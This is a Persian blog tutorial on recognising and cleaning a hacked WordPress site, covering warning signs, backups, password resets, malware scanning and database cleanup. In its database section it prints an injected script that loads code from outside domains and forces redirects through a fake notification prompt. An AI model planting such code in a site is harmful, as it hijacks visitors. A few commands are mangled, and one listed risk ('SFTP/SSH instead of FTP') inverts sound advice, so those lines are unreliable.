هک شدن سایت، برای هرکسی ممکن است اتفاق بیفتد؛ چون انگیزه هکرها مختلف است! چه سایتتان نوپا باشد و چه بزرگ و شناخته شده، ممکن است در معرض خطر هک یا اخاذی قرار بگیرید. در مقاله امرو میخواهیم به شما بگوییم که چطور از هک شدن سایت وردپرسی مطلع شوید و چگونه آن را از دست هکرها خارج کنید. نکاتی که در این مقاله میگوییم، برای کسانی که سایت وردپرسی دارند بسیار مفید و ضروری است. پس اگر از سیستم مدیریت محتوای وردپرس استفاده میکنید، با ما همراه باشید.
علائم وبسایت WordPress هک شده چیست؟
۴ تا نشانه اصلی هست که خبر از هک شدن وبسایت شما میدهند.
۱) Deface شدن
بارزترین نشانه، برای اینکه فهمید وبسایتتان هک شده، دیفیس شدن است. Deface چیست؟
تا حالا شده وارد سایتی شوید و ببینید که نوشته Hacked By Ninjas؟ یا کلا تم آن عوض شده باشد و اطلاعات آن در دسترس نباشد؟ به این حالت دیفیس شدن سایت گفته میشود. هکر برای آنکه خودی نشان دهد، پیامش را در سایت شما به نمایش درمیآورد.
۲) دریافت پیام اخطار
در اکثر موارد، کاربران سایتهای هک شده، پیام اخطاری مبنی بر هک شدن هاست یا تعلیق آن از جانب فراهمکننده سرویس (هاستینگ) دریافت میکنند. اگر شما هم چنین پیامی دریافت کردید، یعنی سایتتان هک شده است.
مثلاً افت ناگهانی ترافیک سایت نشان میدهد که احتمالا سایت در Blacklist گوگل یا موتورهای جستجوی دیگر به دلیل بدافزار یا اسپم و… لیست شده است. این موضوع از طریق هاستینگ به شما تذکر خواهد داده شد.
۳) تغییرات عجیب در سایت
در صورتی که هر کدام از نشانههای زیر را در سایت خود مشاهده کردید، سایت شما هک شده است:
- در صورتی که سایت شما خودبهخود به ناکجا Redirect شود
- در صورتی که امکان ورود (sign in) به سایت خود را ندارید، ممکن است هکر با اعمال تغییراتی در تنظیمات از ورود شما ممانعت بعمل آورده باشد
- مسدود کننده تبلیغات (Adblockers) سایت را به دلیل استخراج رمز ارز مسدود کرده است
- تبلیغات و pop-ups های ناشناس در سایت مشاهده میکنید
- cron job های مشکوک در انتظار اجرا و همچینین فعالیتهای مشکوک در log سرور اتفاق افتاده است
- کاراکترهای چینی و ژاپنی یا نامفهوم در سایت میبینید
- ایمیل اسپم از هاستتان ارسال میشود
- در صورتی که ترافیک زیادی بر روی سرور وجود ندارد اما منابع پردازشی سرور به شدت درگیر است
۴) مشاهده تغییرات در فایلها
یکی از راحتترین راهها برای شناسایی سایت هک شده، بررسی تغییرات ایجاد شده در فایلهای آن است.
برخی از علائم این تغییرات عبارتند از:
- مشاهده فایلهای ناشناس در دایرکتوری های wp-admin و wp-includes. (توجه کنید در هر دو این دایرکتوریها به ندرت فایل های جدید اضافه میشود.)
- مشاهده تغییراتی در تم و ابتدا و انتهای فایلها به جهت اعمال redirect
- مشاهده دامنههای جدید و ناشناس در پایگاه داده سایت
- مشاهده لینکهای ناشناس در فایلهای اصلی سایت
- وجود فایلهای نامشخص با پسوند .php و یا پلاگینهای شاخص که تغییراتی در نام آنها اعمال شده است.
چگونه مشکل سایت هک شده را برطرف کنیم؟
خب؛ اگر علائم بالا را داشتید و وبسایتتان هک شده بود، کارهایی را که در این بخش میگوییم انجام دهید.
۱) از بکاپ استفاده کنید
اگر قبلاً از اطلاعاتتان بکاپ یا نسخه پشتیبان تهیه کرده باشید، سر بزنگاه میتوانید از آنها استفاده کنید و سایتتان را بازگردانید.
پس، بکاپ گیری روزانه، هفتگی یا دورهای را جدی بگیرید و بکاپها را در مکانی خارج از سروری که سایت شما بر روی آن قرار دارد، ذخیره کنید.
همچنین اطمینان حاصل شود که بکاپ گرفته شده شامل فایلهای اصلی وردپرس، پایگاه داده وردپرس، فایلهای افزونهها و تمها و فایل .htaccess باشد.
۲) حالت نگهداری یا Maintenance Mode را فعال کنید
توصیه میکنیم بعد از مشاهده اقدامات بدخواهانه بر روی سایت، آن را بر روی حالت نگهداری (Maintenance Mode) قرار دهید. با این کار کاربران سایت شما تحت تاثیر هک سایت قرار نخواهند گرفت.
همچنین میتوانید از افزونههایی مانند Coming Soon استفاده کنید. این افزونهها با نشان دادن پیامی به کاربران، از آشکار شدن هک سایت و ایجاد جو بد روانی، جلوگیری میکنند.
۳) تمام پسوردهای موجود را تغییر دهید
در صورتی که دسترسیتان به سایت قطع نشده، باید تمام پسوردها را در اسرع وقت تغییر دهید. این پسوردها شامل پنل ادمین، پایگاه داده و دیگر حسابهای کاربری میشود. در صورتی که اعضای دیگر تیم شما نیز دسترسی به پنل ادمین دارند، از آنها نیز درخواست کنید پسوردها را تغییر دهند.
همچنین میشود تمام حسابهای کاربری را مجددا احراز هویت کرد. با این کار همه کاربران از سایت خارج (Log Out) شده و نیاز است که مجددا مجازشماری شوند. با این کار pjd میشود دسترسی کاربران غیرمجاز را حذف کرد.
۴) افزونههای آسیبپذیر را بررسی کنید
آسیبپذیریهای افزونههای شخص ثالث (Third-party) یکی دیگر از شایعترین دلایل هک سایتهای وردپرسی است. بد نیست بدانید که علت هک شدن بیشتر از ۵۶% سایتهای WordPress افزونههای آسیبپذیر بوده است.
در نتیجه قبل از اینکه اقدام به پاکسازی هاست خود نمایید، اطمینان حاصل کنید که نسخۀ مورد استفادۀ افزونههای موجود، فاقد آسیبپذیری است. برای بررسی این مورد میتوانید به wordpress.org/support/forums مراجعه کنید.
۵) فایلها را با دقت بررسی کنید
برای شناسایی فایلهای دستکاری شده، کدهای مخرب و بدافزارها، کارهایی را که در این بخش یادتان میدهیم، انجام دهید.
استفاده از اسکنر بدافزار جهت شناسایی فایل و کدهای مخرب
سایت خود را با یک اسکنر بدافزار (مانند sitecheck.sucuri.net) مورد اسکن قرار دهید. با این کار جزئیات فایلهای مخرب شناسایی و بررسی میشود. همچنین این اسکن میتواند بهصورت دستی انجام شود ولی نیاز به صرف زمان زیادی دارد.
اگر فایلهای مخرب یا مشکوک شناسایی شد با استفاده از ابزارهای آنلاین (مانند www.base64decode.org) میتوان محتوای آن را رمزگشایی کرد.
استفاده از دستور find جهت شناسایی تغییرات اخیر
به منظور شناسایی تغییرات فایلهای هاست خود، در صورتی که دسترسی ssh دارید، می توانید از دستور زیر استفاده نمایید:
find . -mtime -2 –ls
این دستور لیست تمام فایلهای تغییر کرده طی ۲ روز گذشته را نشان میدهد. اگر نیاز شد، میتوانید تعداد روز در این دستور را کم یا زیاد کنید. همچنین دستور find را میتوان همراه با فرمت base64 ترکیب کرد؛ به صورت زیر:
find . -name “*.php” -exec grep “base64″‘{}’; -print &> hiddencode.txt
مقایسه فایلهای اصلی WordPress
برای این منظور شما میتوانید فایلهای اصلی وردپرس را از سایت wordpress.org دانلود کرده و با بکاپ موجود مقایسه کنید. همچنین میتوانید از ابزارهای آنلاین مانند diff checker برای شناسایی تفاوت میان دو فایل استفاده کنید.
در صورتی که راه اول را انتخاب کردهاید مطمئن شوید که فایلهای وردپرس دانلود شده مطابق نسخه WordPress شما باشند. در صورت مشاهده لینک یا کدهای مخرب تزریق شده، باید حذف شوند.
بهعلاوه، میشود فایلها را با کلمات کلیدی مانند موارد زیر مورد بررسی قرار داد.
eval, exec, strrev, assert, base64, str_rot13, Stripslashes, preg_replace
برای جستجو این کلمات کلیدی در یک شاخه باید از دستور زیر استفاده کنید. (در این مثال کلمه base64 را در مسیر / مورد جستجو قرار دادهایم.)
sudo grep -lir base64 /
بعد از بررسی فایلها، نوبت به پاکسازی آنها میرسد. در بخش بعدی این مورد را هم یادتان میدهیم.
۶) بدافزارها را از فایلها پاکسازی کنید
فایلهای وردپرس، نقشۀ سایت و پایگاه داده، ۳ مکانی هستند که باید با دقت و وسواس، پاکسازی یا اگر لازم شد، مجدد نصب شوند.
پاکسازی فایلهای WordPress
بعد از بررسی گسترده بر روی سایت و هاست خود، موارد کشف شده را لیست کنید؛ فایلهایی که تغییر کردهاند، آخرین تغییرات بر روی فایلها و کاربران نامعتبر.
فایلهای اصلی WordPress از قبیل theme files، wp-uploads، The database، wp-contents/uploads، wp-config.php و plugin files باید پاکسازی شوند.
پاکسازی فایل Sitemap
یکی دیگر از دلایل هک وردپرس، وجود یک بدافزار در فایل Sitemap.xml است. این فایل به گوگل کمک میکند تا صفحات مهم وبسایت شناسایی شود. گاهی هکرها در این فایل یک لینک بدافزار را تزریق میکنند. بنابراین باید این فایل را بررسی و در صورت وجود لینک مخرب و یا هرچیز غیر معمولی دیگر، آن را حذف کرد.
پاکسازی پایگاه داده
در پایگاه داده وردپرس، کلیه اطلاعات مربوط به کاربران، صفحات سایت، گواهینامههای حساس و غیره نگهداری میشود. بنابراین بررسی این فایل به منظور پیدا کردن علت هک، امری به شدت مهم و حیاتی است. شما میتوانید از یک اسکنر بدافزار به منظور بررسی کدهای تزریق شده در فایل wp_db استفاده کنید.
در صورتی که تمایل به بررسی دستی داشتید، نیاز است تا هر ۱۱ جدول موجود در پایگاه داده را به منظور بررسی علت هک جستجو کنید. کلیه لینکها و iframe ها را بررسی و هر مورد مشکوکی را حذف کنید تا سایت از حالت هک دربیاید.
در کادر زیر یک مثال از کد redirection موجود در فایل پایگاه داده نمایش داده شده است:
<script> const overlayTranslations = {“en”:{“title”:”Attention!”,”description”:”Click “Allow†to subscribe to notifications and continue working with this website.”}}; const overlay = {“delay”:3000,”overlayStyle”:{“background”:”rgba(0,0,0, 0.6)”},”title”:”Attention!”,”description”:”Click “Allow†to subscribe to notifications and continue working with this website.”,…(overlayTranslations[navigator.language.slice(0, 2).toLowerCase()]||Object.values(overlayTranslations)[0])}; const s = document.createElement(‘script’); s.src=’//humsoolt.net/pfe/current/tag.min.js?z=2774009′; s.onload = (sdk) => { sdk.updateOptions({overlay, overlayTranslations}) sdk.onPermissionDefault(() => {window.location.replace(“//ellcurvth.com/afu.php?zoneid=2826294”)}); sdk.onPermissionAllowed(() => {window.location.replace(“//ellcurvth.com/afu.php?zoneid=2826294”)}); sdk.onPermissionDenied(() => {window.location.replace(“//ellcurvth.com/afu.php?zoneid=2826294”)}); sdk.onAlreadySubscribed(() => {window.location.replace(“//ellcurvth.com/afu.php?zoneid=2826294″)}); sdk.onNotificationUnsupported(() => {}); } document.head.appendChild(s); </script> <script data-cfasync=’false’ type=’text/javascript’ src=’//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2′></script><script type=”text/javascript” src=”//dolohen.com/apu.php?zoneid=2574011″ async data-cfasync=”false”></script><script type=”text/javascript” src=”//dolohen.com/apu.php?zoneid=676630″ async data-cfasync=”false”></script> |
نصب مجدد فایلها
اگر سایت مورد نظر بهشدت به کدهای مخرب آلوده شده است، بهتر است فایلها را حذف و با همتای آن جایگزین کنید. ناگفته نماند که نصب مجدد تنها محدود به حذف فایلها نمیشود و نیاز است تا کلیه پلاگینها نیز نصب مجدد شود.
برخی از کاربران به سبب کمبود وقت یا کم توجهی، پلاگینهای بلااستفاده و منقضی شده را نگهداری میکنند. یک هکر نیز از این پلاگینها برای اکسپلویت یک آسیبپذیری استفاده میکند.
بستر تزریق بدافزار چگونه فراهم میشود؟
دنبال کردن قوانین امنیتی ساده، میتواند بسیاری از ریسکهای امنیتی را کاهش دهد. در ادامه دلایلی که امکان دارد سایت شما مورد هدف هکرها قرار گیرد و آلوده شود را نام بردهایم؛ اما …
? توصیه میکنم برای اطلاعات تکمیلی، حتماً به مقاله ۸ نکته مهم برای افزایش امنیت سایت مراجعه کنید.
- بهروز نبودن نسخه وردپرس
- هاستینگ بر روی سرورهای اشتراکی نامطمئن
- استفاده از نام کاربری و رمز عبور ضعیف
- مجوزهای فایلی نامناسب
- دسترسی حفاظت نشده به دایرکتوری wp_admin
- تمها و افزونههای منقضی شده
- استفاده از SFTP/SSH به جای FTP